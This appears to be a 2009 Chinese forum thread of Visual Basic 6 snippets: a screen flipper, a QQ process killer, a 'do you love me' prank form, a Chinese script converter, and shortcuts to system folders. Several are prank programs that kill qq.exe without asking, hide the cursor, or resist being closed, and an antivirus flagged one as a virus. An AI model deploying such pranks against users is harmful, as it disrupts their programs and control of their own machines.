h2 As Longh1 = FindWindow("Shell_TrayWnd", vbNullString)If h1 <> 0 Thenh2 = GetDlgItem(h1, &H130)If h2 <> 0 ThenSetWindowText h2, "小鹏" '这里可以修改自己的文字SendMessage h2, BM_CLICK, 0, ByVal 0&End IfEnd IfEnd Sub2009-9-26 16:21回复ww0034 10位粉丝3楼这个是翻转屏幕代码(添加一个Timer)~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Option ExplicitDim W As Long, H As LongPrivate Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Lon g, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As LongPrivate Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As LongPrivate Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Lo ng, ByVal hdc As Long) As LongPrivate Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As LongPrivate Const SRCCOPY = &HCC0020 ' (DWORD) dest = sourcePrivate Sub Form_Load()Dim DC As LongMe.Move 0, 0, Screen.Width, Screen.HeightW = Screen.Width / 15: H = Screen.Height / 15ShowCursor FalseMe.Visible = TrueDC = GetDC(0)StretchBlt Me.hdc, W - 1, H - 1, -W, -H, DC, 0, 0, W, H, SRCCO PYReleaseDC 0, DCEnd SubPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)If Button = 1 Then Unload MeEnd SubPrivate Sub Form_Unload(Cancel As Integer)ShowCursor TrueEnd SubPrivate Sub Timer1_Timer()StretchBlt Me.hdc, W - 1, H - 1, -W, -H, Me.hdc, 0, 0, W, H, SRCC OPYMe.RefreshEnd Sub2009-9-26 16:21回复4楼这个是关闭QQ的代码(需要添加一个Command1.一个text1)这个程序打包的时候,金山毒霸说是病毒希望懂的帮我看一下~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Option Explicitww003410位粉丝Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As LongPrivate Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As LongPrivate Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As LongPrivate Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As LongPrivate Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32)As LongPrivate Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) AsLongPrivate Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As LongPrivate Const SW_HIDE = 0Private Const SW_RESTORE = 9Private Const SW_SHOW = 5Private Const TH32CS_SNAPPROCESS = &H2Private Const TH32CS_SNAPheaplist = &H1Private Const TH32CS_SNAPthread = &H4Private Const TH32CS_SNAPmodule = &H8Private Const TH32CS_SNAPall = TH32CS_SNAPPROCESS + TH32CS_SNAPheaplist + TH32CS_SNAPthread + TH32CS_SNAPmodulePrivate Const MAX_PATH As Integer = 260Private Const PROCESS_TERMINATE = &H1Private Type PROCESSENTRY32dwSize As LongcntUsage As Longth32ProcessID As Longth32DefaultHeapID As Longth32ModuleID As LongcntThreads As Longth32ParentProcessID As LongpcPriClassBase As LongdwFlags As LongszExeFile As String * MAX_PATHEnd TypePrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Int eger)Text1 = "想关点退出啊.怎么那么笨!"Cancel = TrueEnd SubPrivate Sub command1_Click()Dim i As LongDim proc As PROCESSENTRY32Dim snap As LongDim exename As StringDim hand As Long, theloop As Longsnap = CreateToolhelpSnapshot(TH32CS_SNAPall, 0) '：获得进程“快照”的句柄proc.dwSize = Len(proc)theloop = ProcessFirst(snap, proc) '：获取第一个进程，并得到其返回值i = 0While theloop <> 0 '：当返回值非零时继续获取下一个进程exename = proc.szExeFileIf Left(LCase(exename), 6) = "qq.exe" Thenhand = OpenProcess(PROCESS_TERMINATE, True, proc.th32ProcessID) '：获取进程句柄TerminateProcess hand, 0 '：关闭进程End Iftheloop = ProcessNext(snap, proc)WendCloseHandle snap '：关闭进程“快照”句柄MsgBox "真遗憾,您扣扣掉线了!"EndEnd Sub2009-9-26 16:22回复ww0034 10位粉丝5楼这个是爱不爱我代码,挺好玩的这个（需要添加两个command）Option ExplicitPrivate Sub Command1_GotFocus()Command2.SetFocusEnd SubPrivate Sub Command1_MouseMove(Button As Integer, Shift As Intege r, X As Single, Y As Single)Randomize TimerWith MeCommand1.Move Rnd * (.ScaleWidth - Command1.Width), Rnd * (.Sc aleHeight - Command1.Height)End WithEnd SubPrivate Sub Command2_Click()MsgBox "我也爱你！"EndEnd SubPrivate Sub Form_Load()Me.AutoRedraw = TrueMe.FontSize = 30Me.Print "你爱不爱我？"Command1.Caption = "不爱"Command2.Caption = "爱"End SubPrivate Sub Form_Unload(Cancel As Integer)Cancel = 1End Sub2009-9-26 16:22回复ww0034 10位粉丝6楼应用软件--------------------------------------------------繁体简体转换(需要添加4个Cammand.1个text)~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Private Declare Function LCMapString Lib "kernel32" Alias "LCMapS tringA" (ByVal Locale As Long, ByVal dwMapFlags As Long, ByVal lp SrcStr As String, ByVal cchSrc As Long, ByVal lpDestStr As Strin g, ByVal cchDest As Long) As LongPrivate Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long'简转繁Public Function JToF(ByVal Str As String) As StringDim STlen As LongDim STf As StringSTlen = lstrlen(Str)STf = Space(STlen)LCMapString &H804, &H4000000, Str, STlen, STf, STlenJToF = STfEnd FunctionPublic Function FToJ(ByVal Str As String) As StringDim STlen As LongDim STj As StringSTlen = lstrlen(Str)STj = Space(STlen)LCMapString &H804, &H2000000, Str, STlen, STj, STlenFToJ = STjEnd FunctionPrivate Sub Command1_Click()Text1.Text = JToF(Text1.Text)End SubPrivate Sub Command2_Click()Text1.Text = FToJ(Text1.Text)End SubPrivate Sub Command3_Click()Text1.Text = ""End SubPrivate Sub Command4_Click()EndEnd Sub--------------------------------------------------打开我的电脑等(需要添加5个Command)~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Private Declare Function ShellExecute Lib "shell32.dll" Alias "Sh ellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, By Val lpFile As String, ByVal lpParameters As String, ByVal lpDirec tory As String, ByVal nShowCmd As Long) As LongConst SW_SHOWNORMAL = 1Private Sub Command1_Click(Index As Integer)Select Case Index'我的文档ShellExecute Me.hwnd, "open", "explorer", vbNullString, vbNull String, 1Case 1'我的电脑ShellExecute Me.hwnd, "open", "explorer", "::{20D04FE0-3AEA-10 69-A2D8-08002B30309D}", vbnulstring, 1Case 2'网上邻居ShellExecute Me.hwnd, "open", "explorer", "::{208d2c60-3aea-10 69-a2d7-08002b30309d}", vbNullString, 1Case 3'回收站ShellExecute Me.hwnd, "open", "explorer", "::{645ff040-5081-10 1b-9f08-00aa002f954e}", vbNullString, 1Case 4'控制面板ShellExecute Me.hwnd, "open", "explorer", "::{21ec2020-3aea-10 69-a2dd-08002b30309d}", vbNullString, 1End SelectEnd Sub。
